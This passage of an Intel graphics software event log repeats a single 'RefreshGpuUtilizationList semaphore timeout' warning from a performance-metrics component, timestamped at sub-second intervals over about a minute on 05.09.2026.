stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:23.339\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:23.776\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:24.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:25.427\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:25.759\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:25.984\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:26.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:27.097\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:27.321\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:27.543\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:28.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:28.438\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:28.883\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:29.223\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:29.446\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:30.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:34.465\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:35.360\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:36.144\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:37.578\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:38.137\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:38.361\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:38.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:39.925\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:40.704\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:41.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:41.587\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:42.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:44.483\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.485\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.707\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:45.931\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:46.266\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:46.491\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:46.825\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.047\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.271\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:47.831\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:48.169\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:48.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:48.617\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.397\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.619\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:49.840\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:50.050\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:50.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:50.926\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:51.248\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:51.466\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:52.132\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:52.577\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.689\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:53.915\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:54.582\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:54.913\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:55.135\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:55.359\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:56.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:57.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:57.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:58.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:58.696\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:59.028\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:59.250\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:59.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.256\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.700\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:00.922\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:01.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:02.377\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:02.600\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:02.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:03.155\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:03.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:03.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:04.267\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:04.937\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:05.161\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:05.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:05.715\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:06.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:06.383\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:07.047\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:07.369\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:07.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.032\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.255\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.699\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:08.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:09.923\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:10.144\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:10.367\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:10.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:11.482\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:12.041\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:12.264\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:12.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:13.044\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:15.051\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:15.495\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:15.717\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:16.161\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:16.718\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:16.941\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:17.163\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:10:17.493\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 